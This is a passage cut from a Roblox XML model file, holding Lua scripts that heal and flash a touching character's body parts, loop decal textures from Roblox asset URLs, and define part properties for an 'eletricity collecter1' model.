part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2131">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">37uaea2t</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2132">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">eyhz</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2133">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">eletricity collecter1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX2134">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-41</X>
							<Y>0.89959693</Y>
							<Z>35.5</Z>
							<R00>-0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>-1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2135">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-41</X>
							<Y>1.89960217</Y>
							<Z>35.5</Z>
							<R00>0</R00>
							<R01>-1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>-0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>-0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2136">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-41</X>
							<Y>3.89957285</Y>
							<Z>35.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2137">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>2</X>
								<Y>2</Y>
								<Z>2</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2138">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-41</X>
							<Y>2.89957809</Y>
							<Z>35.5</Z>
							<R00>0</R00>
							<R01>-1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>-0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>-0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2139">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-41</X>
							<Y>3.4000001</Y>
							<Z>33</Z>
							<R00>0</R00>
							<R01>-0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>-1</R11>
							<R12>0</R12>
							<R20>1</R20>
							<R21>-0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Infected</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">9</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX2140">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2141">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">udcr5c0u3</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX2142">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2143">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">iyfy2r</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX2144">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2145">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">9sim</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX2146">
						<Properties>
							<token name="Face">4</token>
							<string name="Name">Decal2</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2147">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ejg7aef</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="BlockMesh" referent="RBX2148">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0</Y>
								<Z>5</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2149">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vh4np</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX2150">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
